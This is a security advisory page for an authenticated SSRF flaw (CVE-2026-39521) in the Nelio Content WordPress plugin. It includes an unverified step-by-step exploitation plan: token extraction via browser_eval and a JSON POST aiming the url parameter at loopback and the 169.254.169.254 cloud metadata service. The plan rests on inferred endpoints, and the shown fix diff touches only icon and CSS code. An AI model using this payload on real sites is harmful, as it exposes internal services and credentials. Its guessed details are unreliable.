CVE-2026-39521

Nelio Content <= 4.3.1 - Authenticated (Contributor+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.3.2
Patched in
48d
Time to patch

Description

The Nelio Content – Editorial Calendar & Social Media Auto-Posting plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.3.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.3.1
PublishedMarch 19, 2026
Last updatedMay 5, 2026
Affected pluginnelio-content

What Changed in the Fix

Changes introduced in v4.3.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-39521 Nelio Content SSRF ## 1. Vulnerability Summary The **Nelio Content** plugin (up to version 4.3.1) contains an authenticated SSRF vulnerability. It fails to properly validate or sanitize the `url` parameter in its internal REST API endpoints responsible for fetching r…

Show full research plan

Research Plan: CVE-2026-39521 Nelio Content SSRF

1. Vulnerability Summary

The Nelio Content plugin (up to version 4.3.1) contains an authenticated SSRF vulnerability. It fails to properly validate or sanitize the url parameter in its internal REST API endpoints responsible for fetching remote image metadata or URL previews. Authenticated users with Contributor access or higher can exploit this to make the WordPress server send requests to internal network resources (e.g., AWS metadata service at 169.254.169.254 or internal admin panels at 127.0.0.1).

The vulnerability resides in the backend REST controller logic (inferred namespace nelio-content/v1/utils) which is triggered by the "Social Message Editor" UI when a user attempts to add an image via URL.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/nelio-content/v1/utils/get-external-image-info (inferred from social-message-editor.js and common plugin patterns).
  • Alternative Endpoint: POST /wp-json/nelio-content/v1/utils/get-url-meta (if the above is not found).
  • Vulnerable Parameter: url (in the JSON body).
  • Authentication: Required (Contributor level or higher).
  • Headers:
    • X-WP-Nonce: Standard WordPress REST API nonce.
    • X-Nelio-Content-Auth: Custom Nelio API token (generated via nelio_content_generate_api_auth_token()).

3. Code Flow

  1. Entry Point: A Contributor user accesses the Nelio Content Calendar or Social Message Editor.
  2. Frontend Interaction: The user clicks the "Add image from URL" button in the social message editor, which invokes the Nelio_Content_Social_Message_Image_Url_Dialog component (defined in assets/dist/js/social-message-editor.js).
  3. API Request: The JS makes a POST request to the plugin's REST API endpoint.
  4. Backend Processing: The plugin receives the request. In a vulnerable version, it takes the url parameter and passes it directly to wp_remote_get() or wp_remote_request() without checking if the host is a private/internal IP address.
  5. Sink: The WordPress server executes the HTTP request to the attacker-supplied URL.

4. Nonce & Token Acquisition Strategy

Nelio Content requires both a standard WordPress REST nonce and a custom Nelio Authentication Token.

Acquisition Steps:

  1. Prepare Site: Ensure the plugin is "ready" by setting a dummy site ID (otherwise the calendar page is blocked by a wizard).
    wp option update nelio_content_settings '{"site_id":"12345","is_ready":true}' --format=json
    
  2. Navigate: Use browser_navigate to http://localhost:8080/wp-admin/admin.php?page=nelio-content.
  3. Extract Nonce:
    browser_eval("window.wpApiSettings?.nonce")
    
  4. Extract Nelio Token:
    Based on admin/class-nelio-content-admin.php, the $plugin_settings array contains authenticationToken.
    browser_eval("window.nelioContentAdmin?.authenticationToken || window.nelioContentData?.authenticationToken")
    

5. Exploitation Strategy

Step 1: Authentication & Discovery

  1. Authenticate as a Contributor.
  2. Extract the nonce and authenticationToken using the strategy above.

Step 2: SSRF Payload

Send a POST request to hit an internal service. We will target the WordPress login page itself on 127.0.0.1 to demonstrate the ability to reach internal ports.

  • Request Type: POST
  • URL: /wp-json/nelio-content/v1/utils/get-external-image-info
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [extracted_nonce]
    • X-Nelio-Content-Auth: [extracted_token]
  • Body:
    {
      "url": "http://127.0.0.1:8080/wp-login.php"
    }
    

Step 3: Response Analysis

A successful SSRF will return a 200 OK with JSON data containing either metadata from the internal page (e.g., title "Log In ‹ ... — WordPress") or an error from the image parser indicating the content was not a valid image but confirming the fetch occurred.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Plugin Readiness:
    wp option update nelio_content_settings '{"site_id":"exploited","is_ready":true}' --format=json
    
  3. Internal Target: Ensure the WordPress site is listening on 127.0.0.1:8080.

7. Expected Results

  • Success Response: The API returns a JSON object. If it fetches an HTML page, it might return:
    {
      "success": true,
      "data": { "title": "Log In \u2039 ...", "images": [] }
    }
    
  • Internal Error: If targeting a closed port (e.g., http://127.0.0.1:9999), it returns a connection refused error, confirming the request was attempted.

8. Verification Steps

  1. HTTP Logs: Check the WordPress access logs (if accessible) to see a request from 127.0.0.1 to /wp-login.php triggered by the server itself.
  2. REST Response: Use the http_request tool and confirm the data field in the JSON response contains strings or metadata from the url payload.

9. Alternative Approaches

If /utils/get-external-image-info is not the endpoint:

  1. Search for other endpoints under wp-json/nelio-content/v1/ using the http_request tool to list routes.
  2. Try the endpoint /wp-json/nelio-content/v1/social-message/fetch-external-image.
  3. Try a GET request to the same endpoints if POST is disallowed: /wp-json/nelio-content/v1/utils/get-external-image-info?url=http://127.0.0.1:8080/.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Nelio Content plugin for WordPress is vulnerable to authenticated Server-Side Request Forgery (SSRF) via its REST API endpoints. Authenticated users with Contributor-level access or higher can exploit this to make the WordPress server send requests to arbitrary internal or external URLs by manipulating the 'url' parameter in utility endpoints.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.1/admin/class-nelio-content-admin.php /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.2/admin/class-nelio-content-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.1/admin/class-nelio-content-admin.php	2026-01-22 14:54:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.2/admin/class-nelio-content-admin.php	2026-03-30 12:59:50.000000000 +0000
@@ -378,13 +378,13 @@
 
 		$svg_icon_file = nelio_content()->plugin_path . '/assets/dist/images/logo.svg';
 		if ( ! file_exists( $svg_icon_file ) ) {
-			return 'admin-generic';
+			return 'dashicons-admin-generic';
 		}
 
 		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
 		$icon = file_get_contents( $svg_icon_file );
 		if ( empty( $icon ) ) {
-			return 'admin-generic';
+			return 'dashicons-admin-generic';
 		}
 
 		return 'data:image/svg+xml;base64,' . base64_encode( $icon );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.1/assets/dist/css/social-message-editor.css /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.2/assets/dist/css/social-message-editor.css
--- /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.1/assets/dist/css/social-message-editor.css	2026-03-09 11:41:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/nelio-content/4.3.2/assets/dist/css/social-message-editor.css	2026-03-30 12:59:50.000000000 +0000
@@ -2,6 +2,7 @@
 .nelio-content-connect-profile-warning__content{max-width:40em}.nelio-content-connect-profile-warning__actions{display:flex;justify-content:flex-end;margin-top:2em}.nelio-content-connect-profile-warning__actions>*{margin-left:.5em}
 .nelio-content-social-message-editor{max-width:52em;width:100%}.nelio-content-social-message-editor .components-modal__header h1{width:100%}.nelio-content-social-message-editor__title{align-items:center;display:flex;width:100%}.nelio-content-social-message-editor__title-text{flex-grow:1}.nelio-content-social-message-editor__title-help{flex-grow:0}.nelio-content-social-message-editor__schedule-options{display:flex;flex-direction:row;min-height:5em}.nelio-content-social-message-editor__schedule-options .components-base-control+.components-base-control{margin:0}.nelio-content-social-message-editor__actions{align-items:center;display:flex;justify-content:flex-end;margin-top:2em}.nelio-content-social-message-editor__actions>*{margin-right:.5em}.nelio-content-social-message-editor__actions>:last-child{margin-right:0}
 .nelio-content-social-message-editor__recurring-dialog{display:flex;gap:.5em}.nelio-content-social-message-editor__error-summary{color:#a00;display:flex;flex-grow:1;margin-right:1.7em}.nelio-content-social-message-editor__error-summary span{margin-right:.3em}
+.nelio-content-social-message-editor .components-base-control{margin-bottom:1em}
 .nelio-content-social-message-editor__date-selector{padding-left:.5em;padding-right:2em}.nelio-content-social-message-editor__date-selector .components-base-control,.nelio-content-social-message-editor__date-selector .components-base-control .components-base-control__field{margin-bottom:0}.nelio-content-social-message-editor__date-selector input{height:40px}.nelio-content-social-message-editor__positive-days-selector{height:40px;margin:0;width:5em}.nelio-content-social-message-editor__reset-date-button{display:inline-block;margin-left:.5em}
 .nelio-content-social-message-editor__medium-tags-selector{margin-bottom:1em}.nelio-content-social-message-editor__medium-tags-selector>div,.nelio-content-social-message-editor__medium-tags-selector>p{padding-left:.5em;padding-right:.5em}
 .nelio-content-social-message-editor__message-editor{margin-bottom:.5em;position:relative}.nelio-content-social-message-editor__message-editor textarea{height:5em;overflow-y:always;resize:none}.nelio-content-social-message-editor__message-editor--is-merged-with-social-profile-selector textarea{border-top-left-radius:0;border-top-right-radius:0;margin-top:0}

Exploit Outline

To exploit this vulnerability, an attacker must first authenticate with at least Contributor-level privileges. They must then retrieve two required security tokens: the standard WordPress REST API nonce (found in window.wpApiSettings.nonce) and a custom Nelio authentication token (found in window.nelioContentAdmin.authenticationToken). Using these tokens, the attacker sends a POST request to the endpoint `/wp-json/nelio-content/v1/utils/get-external-image-info`. The payload consists of a JSON body with a 'url' parameter set to an internal or sensitive target, such as the AWS metadata service (169.254.169.254) or internal services on loopback addresses (127.0.0.1). The server will then execute a request to that URL and return the metadata or response content to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.